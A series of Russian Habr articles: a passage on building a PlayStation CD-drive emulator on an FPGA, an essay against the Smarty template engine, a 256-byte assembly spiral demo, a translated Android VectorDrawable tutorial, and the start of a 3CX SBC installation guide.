Так как проект почти все время находился в состоянии, ну зачем тут система контроля версий, ничего ещё не написано, то дальнейшее я описываю по памяти. В общем, я набросал код модуля, которые отвечал за вывод субканала, это было три 32х регистра, и вывод их через сдвиговый регистр. SCOR сигнал эмулировался при помощи, добавленного модуля PIO которые есть в базовой поставке ядер от Altera. Работало все просто после получение команды 0xE с параметром включить включения шпинделя, я по таймеру начинал бросать 75 раз в секунду, данные субканала. Сами данные я захардкодил, только параметры MSF рассчитывал на лету. Команды 0x4 и 0x2 эмулировались крайне слабо. И у меня зачесались руки проверить, как это работает. А для этого надо было отключить чип CXD2545. Глядя на схему из книжки, я решил отпаять L711, чтобы обесточить чип. После чего подключился к ногам CLOK/DATA/XLAT и SQCK/SUBQ/SCOR ну GND.
Первое включение показало что, CXD2545 видимо натягивает через другие ноги питания, и время от времени гадит на шину. После чего я не придумал ничего лучшего, чем отпаять это чип нафиг. Но на всякий перед этим снял ещё пачку всяких событий анализатором, старт с разных треков, попытка загрузки игр(хотя дальше черного экрана с логотипом PS оно уже не могло идти). Это как потом выяснится, это очень мне помогло. В итоге принес с работы 702 Lukey и феном снял этот чип. Загрузил прошивку в FPGA, стартанул программу Nios II. Включаю приставку, иииии… черный экран, ресет, ещё ресет, ничего. Обидно.
#### 6.2 Поиск проблем
Первое что пришло в голову это то, что CXD2545 генерирует сигналы CDBCLK и CDLRCK, независимо от того идут данные или нет. Может их не хватает, подумал я, и при помощи PLL сгенерировал нужную частоту для CDBCLK и уже из неё получил CDLRCK. Подключил сразу всю шину данных CD. Включаю приставку, слышу заветный звук включения, но на первом логотипе, тот который на белом фоне всё виснет. И никаких команд приставка приводу не шлёт. Энтузиазм начинает падать. Но делать нечего начинаю более детально изучать, как всё работает.
#### 6.3 Примерная схема работы привода CDRom
Посмотрев доступные источники родилась такая схема:
Через чип CXD1815 приставка общается с SUB-CPU, который управляет уже нашим чипом CXD2545. Который в свою очередь шлёт данные с сидирома назад в CXD1815, а уже именно он занимается тем, что либо декодирует данные как сектора в режиме дата, и позволяет их забрать приставке. Либо если это аудиоданные шлёт их в звуковой чип приставке. Также CXD2545 шлёт данные субканала и ещё пару служебных сигналов в SUB-CPU, который её и контролирует. Но ещё более интересный момент был дальше, оказалось, SUB-CPU тактируется от CXD2545. И когда я её убрал, команды посылать он уже не мог. По схеме из книги это должно подключаться так:
А что у нас за нога C16M:
Ну почти 17 мегагерц да еще меняющиеся. Ну да ладно, что делать, подаю 17 мегагерц на этот пин. Ииии опять ничего. Но тут глаз зацепился за то, что почему-то в книжке ноги 67 и 68 замкнуты между собой. А по даташиту это выход частот, с разными делителями. А если посмотреть дальше то нога 64 отвечает за, то на какой частоте работает сам чип. Но по схеме из книге она висит в воздухе. Пришлось немного по изучать плату, чтобы понять, что нога 64 подключена к земле, что указывает на то, что микросхема работает от 16.9344MHz. А нога тактирования SUB-CPU подключена к пину 68, а не 69 и там должно быть около 4 мегагерц. Подав нужную частоту на SUP-CPU и включив приставку, я наконец увидел главный экран с выбором менеджера карточек и CDPlayer'а. Вот такие веселости может преподнести литература.
**Лирическое отступление**
Да ошибок в книжной схеме оказалось полно, особенно в плане подключения схемы управления фокусировки, и трекинга привода. Потом я нашел, почему так было нарисовано. Скорей всего книгу рисовали по схеме из скана сервис мануала на приставку, а он есть только в очень плохом качестве. И части схем видимо просто дорисовывали, так как не все линии там прорисованы нормально, хотя вроде именно это место там вполне разборчиво.
Запустил программу, нажал кнопку закрытия крышки, и поучил кучу команд 0x2 с пожеланием двинуть каретку влево. Но тут я быстро догадался, что она ждёт появления сигнала о том, что каретка уперлось в датчик нулевого положения. И по быстрому добавил этот сигнал. После этого ещё пришлось подтянуть SENS к высокому уровню, иначе приставка давала команду фокусировки, но дальше ничего не делала. Итак, не с первого раза, но достаточно быстро TOC считался и отобразился в сидиплеере. Это была первая значимая победа.
#### 6.4 Эмулируем данные CDRom
И тут меня понесло. В систему был добавлен модуль SPI, через который я подключил SD карту. Работать с файловой системой мне не хотелось. Поэтому решил работать с RAW данными с карты. Написал подобие драйвера карты. При этом пришлось править алтеровский SPI драйвер, чтобы он держал ноги SPI в нужном состоянии. После этого я решил, надо разбить данные так, чтобы было удобно с ними работать со стороны Nios II.
Идея была такова, я делаю Dual Clock FIFO, со стороны Nios II я туда засовываю данные, а приставка их со своей стороны забирает. При этом как-то хотелось, ещё синхронизировать субканальные данные. В итоге родилась простая идея на один сектор, который у нас занимает 2352 байта, приходится 12 байт данных, делим 2352 на 12 и получаем что каждые 196 байт, на нужно вставлять 1 байт субканальных данных. Которые я бы пихал в другой сдвиговый регистр, а потом в конце сектора дергаю SCOR. Дальше мысль была проста, даем карте команду read multiple и спокойно тянем из SPI байты и бросаем их в FIFO, а каждый 197 байт в другое FIFO. Карта у нас на двадцати пяти мегагерцах работает, данные идут всего на двух(ну и на четырех на 2х скорости). Да ещё и FIFO есть, времени вагон, должно заработать.
#### 6.5 Работает но криво
После долгих мытарств с Verilog и отладкой этой вроде простой задачи, оно таки заработало, аудио треки воспроизводились. Но с хрустом каким-то. Джитер PLL, подумал Штирлиц. И стал искать генератор на нужную частоту. И в каком-то из кучи древних сидиромов нашел, кажется на 33,86. Правда, это был вроде бы кварц, и пришлось делать обвязку. Но после подключения внешнего клока, проблема почти свелась к нулю, но только почти. В итоге я взял клоковый сигнал, который приходил на CXD2545 изначально. И это решило проблему на 99,9%, но время от времени, все равно были слышны щелчки. Ну, да и фиг сними. Пришло время загрузить игру. Учитывая все особенности диска, всякие прегапы постагапы, и прочее, был сгенерирован образ, которые я закинул на карту. Зажал кнопку крышки, и ничего, чуда не случилось.
#### 6.6 Грузим игру(нет)
Стал изучать дампы которые снимал в момент запуска игр. Пришлось даже написать кучу вспомогательных утилит. И тогда всё стало ясно.
С диска данные читались вот в таком формате:
`FF 00 FF FF FF FF FF FF FF FF 00 FF 80 01 62 07`
Это выглядит очень неправильно. Потому, что data сектор на диске имеет заголовок:
| | | | |
| --- | --- | --- | --- |
| SycnPattern | MSF | MODE | DATA |
| 12-byte | 3-byte | 1 byte | 2,336 |
| 00 FF FF FF FF FF FF FF FF FF FF 00 | MM:SS:FF | 1/2 | DATA |
По сути, запись данных на диск ничем не отличается от записи аудио. Отличие есть только в данных субканала где указано что это тип трека Data. А учитывая, что на самом деле субканал по определенным причинам не связан жестко с данными, и может быть получен и в середине(или вообще на другом секторе) дата сектора, что для аудио значения особого не имеет. А вот для данных такое получение номера сектора неприемлемо. Поэтому был введен специальный формат сектора. И привод как раз по синхропоследовательности понимает, что именно сейчас начинается сектор, а по первым 3 байтам узнаёт какой именно сектор.
То есть в данных привода младший и старший байт поменяны местами, и должны идти так:
`00 FF FF FF FF FF FF FF FF FF FF 00 01 80 07 62` Это больше походе на правду. Но:
| | | | |
| --- | --- | --- | --- |
| SycnPattern | MSF | MODE | DATA |
| 00 FF FF FF FF FF FF FF FF FF FF 00 | 01:80:07 | 62 | 2,336 |
в MSF адресации параметр SS не может быть больше 59, а тут 80, да и MODE 62 что тоже не нормально. В целом это могло загнать в тупик но к тому моменту я уже знал, что данные сектора на диске скремблируют, как раз таки чтобы, на диске не встретилась где попало последовательно SycnPattern. И при дескремблировании мы получаем
| | | | |
| --- | --- | --- | --- |
| SycnPattern | MSF | MODE | DATA |
| 00 FF FF FF FF FF FF FF FF FF FF 00 | 00:00:07 | 02 | 2,336 |
Ну и дальше данные трека тоже были найдены в образе диска. В общем CXD2545 вообще ничего не знает про сектора, она чисто декодирует данные с диска, остальным занимаются чипы которые стоят дальше. Да про всё это скремблирование/дескремблирование автор узнал из книги «Техника защиты компакт-дисков от копирования» за авторством Криса Касперски. Рекомендую очень просто и понятно всё описано. В итоге, проведя скремблирования секторов в образе, и запустив приставку, секунд через 40-50 я увидел логотип PS на черном фоне. Дальше дело не шло, сколько не жди. Работало это всё не очень то и стабильно. И промаявшись с этим ещё около четырех дней, добавив работу на скорости 2Х на которою приставка переходила при начале загрузки игры. Я понял, что мне надо, более точный дамп лога загрузки игры.
#### 6.7 Точка невозврата
Я был полон энтузиазма. Но у меня не было под рукой нормально паяльника и микроскопа тоже не было, Не было даже лампы настолько для нормального освещения. Но в итоге я решил припаять назад CXD2545 чтобы снять дамп загрузки игры(хотя привод был убит и не особо мог это делать и раньше). В итоге все окончилось очень печально. Я не то закоротил ноги и не смог разглядеть где. Не то содрал дорожки. Потом я нашёл как минимум пару содранных. Но при включении приставки она с дикой скоростью крутила диском. Я повторил пару попыток, окончательно угробив дорожки. Но так и не добился результата. В итоге я отпаял чип, проверил, что хотя бы TOC и аудиотреки читаются. И понял что назад пути нет. Вывод, не надо спешить. Я бы мог спокойно все сделать на работе, где был микроскоп, и нормальный паяльник, и освещение. Но теперь я был в ситуации, когда эмулятор почему-то не работает, по логическому анализатору, я не вижу что не так. И снять данные с рабочего варианта уже не могу. Я ещё пару дней помучился, и забросил это дело. Скорей всего из-за начала роллер сезона, и не желания сидеть ночи на пролет дома.
Конец второй серии
------------------
На этом я хочу завершить вторую часть, она и так получилось неприлично большая. Выводы, которые я для себя сделал. Схемам из книг верить можно не всегда. Паять плохим паяльником и без освещения, плохая идея. Спешка даже в момент когда ты переполнен энтузиазма, может его угробить, как и дело, которое ты делаешь.
В [третьей части](https://habr.com/ru/post/666296/), мы все переделаем, и наконец запустим какую ни будь игру. Также узнаем, что же скрывалось за ногой SENS, и почему не грузилась ни одна игра. | https://habr.com/ru/post/665660/ | null | ru | null |
# Почему я отказался от использования Smarty
##### Краткиий экскурс в историю
Когда я пришел на работу в одну американскую контору (удаленно конечно. и было это году так в 2000), то вынужден был использовать стандарты, принятые в этой организации. И одним из них было использование своего шаблонизатора, который выглядел как простой html файл, в котором могут присутствовать специальные последовательности символов (обычно начинающиеся и заканчивающиеся на "##"), которые перед выдачей в броузер будут заменены на тексты или результаты работы других шаблонов. Также там был свое API для работы с такими шаблонами. Очень простое API. А так как я был в то время очень молод, то я принял на вооружение эти стандарты и стал использовать их в своей работе.
Вот пример работы с таким шаблоном:
```
$template = new Template();
$template->Load('NameTemplate.html');
$template->Replace('##TITLE##', 'Hello world!');
$template->Out();
```
##### Знакомство
Шли годы. И при реализации очередного проекта возникло требование: «В качестве шаблонизатора обязательно использование Smarty». Партия сказала: «Надо». Комсомол ответил: «Есть!». Так я и познакомился со Smarty. Он мне очень понравился. Я просто был вне себя от восторга. Любая задача которую мне надо было реализовать, могла быть реализована с его помощью. Иногда просто, иногда очень сложно, но можно. В общем, я стал использовать Smarty.
##### Прозрение
Прошло еще несколько лет. Не помню почему, но возникла задача найти простой для работы фреймворк на php. Я нашел их список и стал их тестировать для наших целей. Естественно одним из требований было: поддержка Smarty (и это было уже мое требование). При чтении документации одного из фреймворков (то ли Kohana, то ли CodeIgniter) я встретил фразу примерно такую: «Вы можете использовать Smarty, вот тут инструкция как его подключить и как с ним работать в нашем фреймворке, но мы считаем что нативный php проще, понятнее и быстрее ...». И я задумался. Стал сравнивать реализации на нативном php и Smarty.
Проще? Конечно, ведь php мы уже знаем.
Понятнее? Конечно, ведь php мы уже понимаем.
Быстрее? Конечно, ведь код на Smarty будет транслироваться в код на php (и как минимум быстрее он быть не может, а медленне запросто).
Безопаснее? Я думаю да. Хотя тут можно поспорить. Дырок можно наделать где угодно.
Cмотрите сами:
```
{$foo} против =$foo?
```
```
{assign var=foo value='baa'} против php $foo = 'baa'; ?
```
```
{include file='header.tpl'} - реализация этого на php зависит от разных факторов от php include 'header.php'; ? до более сложных вариантов (все зависит от фреймворка)
```
```
{assign var="foo" value="`$foo+$bar`"} // помню, всегда искал это в документации.
php
$foo += $bar;
?
```
Примеры условий и циклов приводить не буду — занимают много места и выглядят примерно одинаково.
Еще помню как на Smarty делал реализацию рекурсивного обхода дерева, один из вариантов это создание шаблона и вызов этого шаблона внутри себя. На php это выглядит так:
```
php
function draw_tree($tree){
foreach ($tree as $node)
{
echo '<option ...'.$node['name'].'';
draw_tree($node['childs']);
}
}
?>
```
Я долго пытался себя убедить, что Smarty удобнее для дизайнеров. Но они на него так и не пришли (по разным причинам). И в итоге я, как программист, вынужден был писать скрипты для скриптового языка. В добавок некоторые версии Smarty оказались с уязвимостью и мне, то и дело, приходилось возвращаться к старым проектам, чтобы обновлять библиотеки и делать проверки на совместимость.
PS. Smarty не использую уже года 2-3, и потому текущее состояние дел мне оценить сложно, но думаю дела обстоят не лучше и не хуже чем было раньше. | https://habr.com/ru/post/200198/ | null | ru | null |
# Управляемая градиентная спираль на ассемблере в 256 байт (k29)
Эта статья посвящена созданию на ассемблере графического приложения весом в несколько сотен байт. После создания полноценной рабочей версии на 420 байт пришлось попотеть, чтобы запихать всё это добро в 256 байт. Результат вы можете лицезреть на видео. В статье описывается процесс создания и общие принципы функционирования.
Предупреждение: Если вы страдаете приступами эпилепсии — НЕ СМОТРИТЕ.
В Win7 и Vista работать не будет. Нужна Windows XP/2000/98.
Скачать исполняемый файл: [k29.com в DropBox](http://dl.dropbox.com/u/8629267/k29.com/k29.com) (256 байт)
Скачать исходный код: [k29.asm в DropBox](http://dl.dropbox.com/u/8629267/k29.com/k29.asm) (Компилировать FASM-ом)
Клавиши управления:
1. R,G,B — включение и отключение цветовых компонент
2. <--,SPACE,--> — менять направление и скорость вращения
3. UP, DOWN — менять масштаб спирали
4. 0,1,2,3,4,5,6,7,8,9 — менять число ветвей у спирали
5. ESC — выход
Эпилог
------
Уже довольно долго эта статья валяется у меня в черновиках. Ещё в черновиках на Blogger-е валялась. И сегодня я решил, что если не допишу её сейчас — это не произойдёт никогда. Дописал, в конце немного оборвал и закончил) Ура!!!
1. Завязка
----------
Меня всегда интересовали работы с demoparty, особенно категории исчисляющиеся в сотнях байт. Одно дело писать прогу в 64 кило, используя DirectX/OpenGL, и совсем другое — в 512/256/128 байт, используя видеопамять напрямую и т.д. Тут необходимо знание и понимание ассемблера уже на интуитивном уровне. Необходимо уметь оптимизировать код по объёму, а значит понимать и учитывать все тонкости машинного языка программирования. Мы попробуем сделать что-то подобное. Я никогда раньше не писал на ассемблере, но разобраться в существующем коде получалось. Будем считать, что данная **статья ориентирована на новичков в ассемблере** вроде меня. Потому не претендую на идеальное решение задачи.
2. Выбор цели
-------------
Теперь нужно придумать себе задачу и воплотить её. Мне на ум сразу пришла небольшая программа, написанная в школьные годы на языке Pascal. Программа была проста до безобразия (2 экрана кода — 50 строк), но в то же время она доставляла. Программа рисовала в графическом режиме (320x200x256) во весь экран вращающуюся спираль. Были задействованы все 256 цветов, для плавного изменения цвета. Было удивительно, что спираль движется без видимой перерисовки. Это можно было бы объяснить использованием нескольких видеостраниц, если бы не скорость вращения. Очевидно, что для отрисовки спирали необходимы вычисления с вещественными числами, что тоже вносит значительную задержку. Спираль вращалась со скорость 3-5 оборотов в секунду (см. рис. 2.1).
*[ Рис. 2.1. Снимок спирали с тремя «руками» ]*
А вся фишка была в том, что спираль рисовалась всего один раз — при запуске программы. После отрисовки спирали программа циклически сдвигала цвета в палитре, что незамедлительно отображалось на экране. Помимо основной функции программа поддерживала изменение цвета спирали и изменение направление вращения. Всего восемь цветов:
| | | |
| --- | --- | --- |
| 0 | #000000 | Чёрный (спираль не видно) |
| 1 | #0000FF | Голубой |
| 2 | #00FF00 | Ярко-зелёный |
| 3 | #00FFFF | Бирюзовый |
| 4 | #FF0000 | Красный |
| 5 | #FF00FF | Пурпурный |
| 6 | #FFFF00 | Желтый |
| 7 | #FFFFFF | Белый |
Так как для отображения на экране используется цветовая модель RGB, то эти восемь цветов можно получать, комбинируя соответствующие цветовые компоненты (3 бита данных могут кодировать 8 различных значений). Программа использовала клавиши 'R', 'G' и 'B' для вкючения/отключения соответствующих цветовых компонент.
Программа была написана на языке Pascal в среде разработки Turbo Pascal 7.0. Некоторые функции программы были реализованы в виде ассемблерных вставок. Например, функция установки RGB-значения конкретному элементу из палитры. Код школьных времен (форматирование изменено чтобы не травмировать ничью психику):
```
program P_16_B_4;
uses
crt,graph,MUSE_OTH,MT_MAIN;
const
koef1=3;{ Количество вихрей }
koef2=3;{ Плотность вихрей }
var
gd,gm,gmx,gmy,i,flag,x0,y0,x,y:integer;
r,alpha:extended;
k,int:longint;
key:char;rr,gg,bb:byte;
ints:string;
mas:array[0..255,1..3] of byte;
BEGIN
gd:=installuserdriver('SVGA256m.BGI',NIL);gm:=2;
initgraph(gd,gm,'');
gmx:=getmaxx;
gmy:=getmaxy;
flag:=1;k:=1;
for i:=0 to 255 do
begin
setRGBpalette(i,k,k,k);
mas[i,1]:=k;mas[i,2]:=k;mas[i,3]:=k;
k:=k+flag;
if k=63 then flag:=-1 else
if k=0 then flag:=1;
end;
setcolor(63);
settextstyle(1,horizdir,2);
settextjustify(centertext,centertext);
outtextxy(gmx div 2,gmy div 2-textheight('!<06@')*2 div 2,
'!<06@ freeware');
outtextxy(gmx div 2,gmy div 2+textheight('!<06@') div 2,
'! ! ! Press "R", "G", "B", " " or "Esc" ! ! !');
x0:=gmx div 2;
y0:=gmy div 2;
r:=400;
repeat
alpha:=0;
repeat
x:=round(x0+r*cos(alpha/180*Pi));
y:=round(y0-r*sin(alpha/180*Pi));
putpixel(x,y,round(r*koef2+alpha*256/360*koef1/2) mod 128);
alpha:=alpha+20/(r+1);
until alpha>=360;
if keypressed then halt;
r:=r-1;
until r<=0;
k:=1;flag:=-1;rr:=1;gg:=1;bb:=1;int:=0;
repeat
str(int SHR 2,ints);
while byte(ints[0])<4 do insert('0',ints,1);
if int and 3=0 then
SAVE_MONITOR((gmx+1) div 2-75,(gmy+1) div 2-75,(gmx+1) div 2+74,
(gmy+1) div 2+74,'c:\AVATAR\'+ints+'.bmp');
if keypressed then
begin
key:=readkey;
if key=' ' then flag:=-flag else
if upcase(key)='R' then rr:=not(rr) and 1 else
if upcase(key)='G' then gg:=not(gg) and 1 else
if upcase(key)='B' then bb:=not(bb) and 1 else
if key=#27 then break;
end;
for i:=0 to 127 do
setRGBpalette(i,mas[(i+k+512) mod 256,1]*rr,
mas[(i+k+512) mod 256,2]*gg,
mas[(i+k+512) mod 256,3]*bb);
inc(k,flag);k:=k mod 256;
inc(int);
until false;
closegraph;
END.
```
3. Разработка алгоритма
-----------------------
Сперва разберёмся в том, как функционирует программа и какие функции нам потребуется написать. Формальное описание алгоритма:
1) Начальное заполнение палитры следующими значениями: (0,0,0)... (63,63,63)... (0,0,0). Иными словами, на протяжении 256-ти элементов палитры цвет плавно меняется от черного к белому и снова возвращается к черному. В данном графическом режиме поддерживается до 256 цветов, каждый из цветов состоит из трёх цветовых компонент. Каждая из цветовых компонент задаётся шестью битами (число от 0 до 63). Белому цвету соответсвует вектор цветовых компонент (63,63,63), а чёрному соответственно — (0,0,0).
2) Отрисовка спирали включает в себя проход по всем пикселям экрана и заполнение их данными. Формула спирали достаточно проста — зависит лишь от вектора (пара значений: расстояние и угол), указывающего на конкретный пиксель из центра экрана. Иными словами цвет зависит только от длины вектора и угла вектора с подобранными коэфициентами. Перебирая различные коэффициенты можно получить как различное число «ветвей» у спирали, так и различную степень её закрученности.
3) Циклический сдвиг палитры на одну позицию. Это и даёт иллюзию вращения спирали. То есть, изменяя 256 элементов цветов, мы получаем сдвиг спирали на 1/(256\*k) полного оборота. Где k — количество «ветвей» спирали. Таким образом мы избежали перерисовки всех пикселей экрана для вращения спирали. На самом деле сдвигать мы будем не на «одну» позицию, величина и направление сдвига хранятся в специальной целочисленной переменной. Это позволит нам динамически менять направление и скорость вращения спирали.
4) Проверка нажатий клавиш. Нажатие клавиш R, G и B ведет к включению, либо отключению закреплённой за каждой из клавиш цветовой компоненты. Нажатие на клавиши «вправо»/«влево» увеличивает/уменьшает значение переменной, которая явным образом используется при сдвиге палитры. Переход на пункт 3.
4. Реализация алгоритма
-----------------------
Чтож, теперь определим, какие функции нам потребуется написать на ассемблере. Очевидно, это будут: функция первоначального заполнения палитры, функция отрисовки спирали, функция циклического сдвига палитры и главная функция программы, которая помимо вызова вышеперечисленных функций будет обеспечивать проверку нажатий на клавиатуре управляющих клавиш. Блок-схема алгоритма:
*[ Рис. 4.1. Блок-схема алгоритма ]*
Прочитав об имеющихся компиляторах языка ассемблер в википедии и книге «Искусство дизассемблирования» Криса Касперски и Евы Рокко, я сделал свой выбор в пользу компилятора FASM. Код буду писать в Notepad++, из него же и буду экспортировать в статью с подсветкой синтаксиса.
Ну чтож, приступим.
#### 4.1. Функция первоначального заполнения палитры
Мы собираемся заполнять палитру следующими значениями: (0,0,0),... (63,63,63),... (0,0,0). Нетрудно посчитать, что их всего 127, для равномерного заполнения всех 256 элементов будем заполнять по 2 одинаковых элемента: (0,0,0), (0,0,0),... (63,63,63), (63,63,63),... (0,0,0), (0,0,0). Запишем алгоритм на формальном языке высокого уровня:
```
for (int i = 0; i <= 127; i++)
{
setPalette(i, i/2, i/2, i/2);
setPalette(255-i, i/2, i/2, i/2);
}
```
Теперь ассемблерный код с комментариями:
| | | | |
| --- | --- | --- | --- |
| A | B | C | D |
| | | | |
**A.** Сохраняем в стеке и восстанавливаем из стека регистры, которые используются в функции.
**B.** Регистр CX пробегает в цикле от 0 до 127 включительно.
**C.** Формируем параметры и вызываем функцию setPalette. В AL загружаем индекс цвета, в AH загружаем значение яркости, равное половине индекса.
**D.** Меняем индекс на (255-i) используя операцию инверии всех битов и вызывает функцию setPalette.
#### 4.2. Функция отрисовки спирали
Подумаем над функцией описания градиентной спирали.
Функция зависящая только от радиуса даёт градиентные окружности:
```
pixel[x][y] = k1*sqrt(x*x + y*y);
```
*[ Рис. 4.1. Градиентные окружности ]*
Функция зависящая только от угла даёт градиентные лучи из центра:
```
pixel[x][y] = k1*arctan(x/y);
```
*[ Рис. 4.2. Градиентные лучи ]*
Функция же линейно зависящая от радиуса и угла даст нам искомую градиентную спираль:
```
pixel[x][y] = k1*sqrt(x*x + y*y) + k2*k3*arctan(x/y));
```
*[ Рис. 4.3. Градиентная спираль ]*
Необходимо лишь подобрать необходимые коэффициенты, для 360-тиградусной правильной отрисовки спирали. Коэффициент k1 влияет лишь на степень закрученности спирали. Для правильного заполнения 360-ти градусов выберем коэффициент k3 таким:
```
k3 = 128 / 3.1415927;
```
*[ Рис. 4.4. Правильная 360-тиградусная градиентная спираль ]*
Коэффициент k2 будет принимать целочисленные значения: 1, 2, 3, 4... Меняя этот кофициент, мы получаем соответствующее число ветвей у спирали. Примеры градиентных спиралей при k2 равном единице, двум и пяти представлены на рис. 4.5, 4.6 и 4.7:
*[ Рис. 4.5. Спираль с одной ветвью ]*
*[ Рис. 4.6. Спираль с двумя ветвями ]*
*[ Рис. 4.7. Спираль с пятью ветвями ]*
Код отрисовки спирали на псевдо-языке:
(Без учёта возможных ошибок, в т.ч. деления на ноль)
```
for (int y = 0; y < 200; y++)
for (int x = 0; x < 320; x++)
{
y -= 100;
x -= 160;
int color = k1*sqrt(x*x + y*y) + k2*128/3.1415927*arctan(x/y);
y += 100;
x += 160;
pixel[x][y] = color;
}
```
Теперь реализуем алгоритм на ассемблере.
| | | | | |
| --- | --- | --- | --- | --- |
| A | B | C | D | E |
| | | | | |
**A.** Сохраняем в стеке и восстанавливаем из стека регистры, которые используются в функции.
**B.** Регистр AX пробегает в цикле от 0 до 199 включительно.
**C.** Регистр BX пробегает в цикле от 0 до 319 включительно.
**D.** Сохраняем AX и BX в стеке. Выравниваем координаты центра спирали на экране, для разрешения 320x200 сдвигаем центр на середину — (160, 100). Восстанавливаем AX и BX из стека.
**E.** Возводим AX в квадрат, меняем местами значение регистров AX и BX, ещё раз возводим AX в квадрат. Имеем в регистрах AX и BX квадраты координат. Складываем значения регистров и загружаем результат в DX.
Вычислением корня вполне можно пожертвовать в пользу уменьшения размера кода приложения. Хорошо бы сохранить в стеке и восстановить обратно регистры AX и BX при вычислении длинны вектора:
```
push ax
push bx
; dx = ax^2 + bx^2
mul ax, ax
xchg ax, bx
mul ax, ax
add ax, bx
mov dx, ax
pop bx
pop ax
```
Теперь код, вычисляющий акртангенс угла по заданным sin и cos:
```
; Вычисляем арктангенс угла * k2
; dx += arctan(alpha * k2)
mov [cos], ax
mov [sin], bx
finit
fild word [cos]
fild word [sin]
fpatan
fimul word [k2]
fimul word [glad1]
fidiv word [glad2]
fist word [tmp]
add dx, [tmp]
```
#### 4.3. Проверка нажатий клавиш
```
; Проверка на нажатие клавиши
mov ah, 0Bh ; AX := 0B00h
int 21h
cmp al, 0ffh
jmp_loop_pal_exit:
jne loop_pal_out
; Получаем какое именно нажатие
mov ah, 08h
int 21h
label_push_space:
cmp al, ' '
jne label_push_left
mov ch, 0
label_push_left:
cmp al, 75
jne label_push_right
dec ch
.......
```
Думаю код уже всех достал)) Вот где он лежит целиком: <http://codepad.org/mEDX1Z2X>
Ещё уменьшить объём кода можно, убрав лишние клавиши управления. Я думаю, если выкинуть всё управление можно легко уложится в 128 байт. Но без управления не так интересно. | https://habr.com/ru/post/121999/ | null | ru | null |
# VectorDrawable — часть первая
*Предлагаю вашему вниманию перевод статьи "[VectorDrawables – Part 1](https://blog.stylingandroid.com/vectordrawables-part-1/)" с сайта blog.stylingandroid.com.*
По долгу службы потребовалось мне как-то разобраться с векторной графикой. Во время поиска наткнулся я на серию статей под названием “VectorDrawable” в блоге <https://blog.stylingandroid.com/>. Ответов на все интересующие меня вопросы я, конечно, не нашел, но статьи очень понравились своей последовательностью и четко выверенным объемом необходимого материала. Решил поделиться переводом этих статей с обитателями хабра.
Я не переводил названия, activity, bitmap и тому подобное, потому что считаю, что так легче воспринимать информацию, ведь разработчики, в силу профессии, эти слова в русском варианте практически никогда не у потребляют. Далее следует перевод:
Одна из действительно интересных новых фишек в Lollipop – это включение VectorDrawable и связанных с ним классов, которые обеспечивают чрезвычайно мощные новые возможности для добавления сложной векторной графики (позволяет гораздо удобнее масштабировать изображения не зависимо от размеров экрана и плотности, чем растровые изображения), а также предоставляет несколько мощных инструментов для анимации оных. В этой серии статей мы рассмотрим некоторые из преимуществ, которые они нам дают. Так же рассмотрим, как можно получить действительно впечатляющие результаты из относительно небольшого количества кода.
Векторная графика – способ описания графических элементов используя геометрические фигуры. Они особенно хорошо подходят для графических элементов, созданных в приложениях, таких как Adobe Illustrator или Inkscape, где простые геометрические формы могут быть объединены в гораздо более сложные элементы. Работа с растровой графикой, с другой стороны, определяет значение цвета для каждого пикселя и особенно хорошо подходит для фото. Большим преимуществом использования векторной графики (в соответствующих случаях) является то, что изображения рендерятся в рантайме и размеры автоматически высчитываются в зависимости от плотности пикселей. Таким образом получается четкая картинка с плавными линиями, независимо от возможностей устройства. Векторные картинки, как правило, занимают значительно меньший объем памяти, чем их растровый аналог. Однако, векторные изображения требуют больше вычислительных мощностей для отрисовки, что может быть проблемой при большом количестве сложных графических элементах.
Векторная графика в андроиде была реализована с использованием нового класса – VectorDrawable, который был введен в Lollipop. Это означает, что для графических элементов, которые хорошо подходят для векторного представления мы можем заменить растровые изображения в папках mdpi, hdpi, xhdpi, xxhdpi, и xxxhdpi на один VectorDrawable в папке Drawable, который, с большой вероятностью, займет даже меньше пространства на диске, чем растровое изображение для mdpi.
Чтобы продемонстрировать это, давайте рассмотрим следующий файл svg (найти его можно по ссылке <https://code.google.com/archive/p/svg-android/downloads>):
Этот svg-файл занимает 2265 байт, если мы отрисуем его в bitmap с размерами 500 х 500 пикселей, и сохраним как png, тогда он займет уже 13272 байта, плюс к этому, мы должны будем использовать несколько таких картинок для разный плотностей экрана. Но SVG – это не то же самое, что VectorDrawable, поэтому мы не можем использовать его непосредственно. Тем не менее, VectorDrawable поддерживает некоторые элементы SVG. Основные компоненты, которые мы будем использовать из нашего SVG – это path. Давайте посмотрим на исходный код SVG:
**android.svg**
```
xml version="1.0" encoding="utf-8"?
```
Немного разберемся. Есть некоторые атрибуты родительского элемента , которые определяют размер 500х500, Есть элемент (group), который определяет границы – его мы будем игнорировать. Есть еще один элемент с id = “android”. Это и есть изображение логотипа, которое нам нужно. Он состоит из шести элементов , которые определяют голову, правый глаз, левый глаз, левая рука, тело и ноги, правая рука. Атрибут “fill” определяет цвет заливки (и мы можем видеть, что все они зеленые, за исключением глаз, которые залиты белым цветом), а атрибут “d” содержит маршрут линий, из которых состоит элемент. Для тех, кто хочет разобраться более детально в элементе , следует изучить [SVG Path Specification](https://www.w3.org/TR/SVG/paths.html), но для данной статьи это не важно, потому что мы можем просто взять их, как они есть, и использовать в наших VectorDrawables.
Итак, давайте создадим наш VectorDrawable:
**res/drawable/android.xml**
```
xml version="1.0" encoding="utf-8"?
```
Мы создали родительский элемент , который содержит информацию о размерах изображения, внутрь которого поместили элемент с шестью элементами , которые были немного модифицированы, по сравнению с svg – файлом. В данной статье поле “name” служит только для облегчения понимая того, где какой элемент. В следующих статьях они буду использоваться. Получившийся файл по-прежнему может похвастаться скромным размером в 2412 байт.
Теперь мы можем использовать этот файл как любой другой drawable:
**res/layout/activity\_vector\_drawables.xml**
```
```
… и если мы запустим это, то увидим красивую отрисовку:
Так что теперь мы можем существенно уменьшить размер APK, если мы используем VectorDrawable, где это уместно. Так же это позволяет упростить разработку приложения, особенно, если нужно добавлять поддержку новых плотностей экрана. Тем не менее, это не все, на что способен VectorDrawable. В [следующей части статьи](https://habrahabr.ru/post/301610/) мы рассмотрим, как его анимировать.
Исходники к этой части статьи можно найти [здесь](https://bitbucket.org/StylingAndroid/vectordrawables/src/b4767fe0e0a7b41323adbfd77845ed1ec24822c3/?at=Part1). | https://habr.com/ru/post/301578/ | null | ru | null |
# Установка пограничного контроллера сессий 3CX SBC на Windows, Raspberry Pi или Debian 9
Введение
--------
